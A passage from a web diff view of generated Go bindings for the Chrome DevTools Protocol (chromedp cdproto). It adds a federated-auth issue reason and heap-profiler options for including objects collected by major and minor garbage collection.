FederatedAuthRequestIssueReasonManifestListNoResponse FederatedAuthRequestIssueReason = "ManifestListNoResponse"
|
||||
@@ -1248,6 +1248,7 @@ const (
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidRequest FederatedAuthRequestIssueReason = "IdTokenInvalidRequest"
|
||||
FederatedAuthRequestIssueReasonErrorIDToken FederatedAuthRequestIssueReason = "ErrorIdToken"
|
||||
FederatedAuthRequestIssueReasonCanceled FederatedAuthRequestIssueReason = "Canceled"
|
||||
FederatedAuthRequestIssueReasonRpPageNotVisible FederatedAuthRequestIssueReason = "RpPageNotVisible"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -1263,8 +1264,8 @@ func (t FederatedAuthRequestIssueReason) MarshalJSON() ([]byte, error) {
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch FederatedAuthRequestIssueReason(in.String()) {
|
||||
case FederatedAuthRequestIssueReasonApprovalDeclined:
|
||||
*t = FederatedAuthRequestIssueReasonApprovalDeclined
|
||||
case FederatedAuthRequestIssueReasonShouldEmbargo:
|
||||
*t = FederatedAuthRequestIssueReasonShouldEmbargo
|
||||
case FederatedAuthRequestIssueReasonTooManyRequests:
|
||||
*t = FederatedAuthRequestIssueReasonTooManyRequests
|
||||
case FederatedAuthRequestIssueReasonManifestListHTTPNotFound:
|
||||
@@ -1313,6 +1314,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonErrorIDToken
|
||||
case FederatedAuthRequestIssueReasonCanceled:
|
||||
*t = FederatedAuthRequestIssueReasonCanceled
|
||||
case FederatedAuthRequestIssueReasonRpPageNotVisible:
|
||||
*t = FederatedAuthRequestIssueReasonRpPageNotVisible
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown FederatedAuthRequestIssueReason value"))
|
||||
|
||||
+1
-1
@@ -45,7 +45,7 @@ type EventChildNodeCountUpdated struct {
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#event-childNodeInserted
|
||||
type EventChildNodeInserted struct {
|
||||
ParentNodeID cdp.NodeID `json:"parentNodeId"` // Id of the node that has changed.
|
||||
PreviousNodeID cdp.NodeID `json:"previousNodeId"` // If of the previous siblint.
|
||||
PreviousNodeID cdp.NodeID `json:"previousNodeId"` // Id of the previous sibling.
|
||||
Node *cdp.Node `json:"node"` // Inserted node data.
|
||||
}
|
||||
|
||||
|
||||
+24
@@ -422,6 +422,10 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoHeapprofiler5(in *jlexer.Lexe
|
||||
switch key {
|
||||
case "samplingInterval":
|
||||
out.SamplingInterval = float64(in.Float64())
|
||||
case "includeObjectsCollectedByMajorGC":
|
||||
out.IncludeObjectsCollectedByMajorGC = bool(in.Bool())
|
||||
case "includeObjectsCollectedByMinorGC":
|
||||
out.IncludeObjectsCollectedByMinorGC = bool(in.Bool())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -442,6 +446,26 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoHeapprofiler5(out *jwriter.Wr
|
||||
out.RawString(prefix[1:])
|
||||
out.Float64(float64(in.SamplingInterval))
|
||||
}
|
||||
if in.IncludeObjectsCollectedByMajorGC {
|
||||
const prefix string = ",\"includeObjectsCollectedByMajorGC\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
out.Bool(bool(in.IncludeObjectsCollectedByMajorGC))
|
||||
}
|
||||
if in.IncludeObjectsCollectedByMinorGC {
|
||||
const prefix string = ",\"includeObjectsCollectedByMinorGC\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
out.Bool(bool(in.IncludeObjectsCollectedByMinorGC))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+27
-1
@@ -202,7 +202,9 @@ func (p *GetSamplingProfileParams) Do(ctx context.Context) (profile *SamplingHea
|
||||
|
||||
// StartSamplingParams [no description].
|
||||
type StartSamplingParams struct {
|
||||
SamplingInterval float64 `json:"samplingInterval,omitempty"` // Average sample interval in bytes. Poisson distribution is used for the intervals. The default value is 32768 bytes.
|
||||
SamplingInterval float64 `json:"samplingInterval,omitempty"` // Average sample interval in bytes. Poisson distribution is used for the intervals. The default value is 32768 bytes.
|
||||
IncludeObjectsCollectedByMajorGC bool `json:"includeObjectsCollectedByMajorGC,omitempty"` // By default, the sampling heap profiler reports only objects which are still alive when the profile is returned via getSamplingProfile or stopSampling, which is useful for determining what functions contribute the most to steady-state memory usage. This flag instructs the sampling heap profiler to also include information about objects discarded by major GC, which will show which functions cause large temporary memory usage or long GC pauses.
|
||||
IncludeObjectsCollectedByMinorGC bool `json:"includeObjectsCollectedByMinorGC,omitempty"` // By default, the sampling heap profiler reports only objects which are still alive when the profile is returned via getSamplingProfile or stopSampling, which is useful for determining what functions contribute the most to steady-state memory usage. This flag instructs the sampling heap profiler to also include information about objects discarded by minor GC, which is useful when tuning a latency-sensitive application for minimal GC activity.
|
||||
}
|
||||
|
||||
// StartSampling [no description].
|
||||
@@ -221,6 +223,30 @@ func (p StartSamplingParams) WithSamplingInterval(samplingInterval float64) *Sta
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithIncludeObjectsCollectedByMajorGC by default, the sampling heap
|
||||
// profiler reports only objects which are still alive when the profile is
|
||||
// returned via getSamplingProfile or stopSampling, which is useful for
|
||||
// determining what functions contribute the most to steady-state memory usage.
|
||||
// This flag instructs the sampling heap profiler to also include information
|
||||
// about objects discarded by major GC, which will show which functions cause
|
||||
// large temporary memory usage or long GC pauses.
|
||||
func (p StartSamplingParams) WithIncludeObjectsCollectedByMajorGC(includeObjectsCollectedByMajorGC bool) *StartSamplingParams {
|
||||
p.IncludeObjectsCollectedByMajorGC = includeObjectsCollectedByMajorGC
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithIncludeObjectsCollectedByMinorGC by default, the sampling heap
|
||||
// profiler reports only objects which are still alive when the profile is
|
||||
// returned via getSamplingProfile or stopSampling, which is useful for
|
||||
// determining what functions contribute the most to steady-state memory usage.
|
||||
// This flag instructs the sampling heap profiler to also include information
|
||||
// about objects discarded by minor GC, which is useful when tuning a
|
||||
// latency-sensitive application for minimal GC activity.
|
||||
func (p StartSamplingParams) WithIncludeObjectsCollectedByMinorGC(includeObjectsCollectedByMinorGC bool) *StartSamplingParams {
|
||||
p.IncludeObjectsCollectedByMinorGC = includeObjectsCollectedByMinorGC
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes HeapProfiler.startSampling against the provided context.
|
||||
func (p *StartSamplingParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandStartSampling, p, nil)
|
||||
|
||||
Loaded 100 of 1523 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user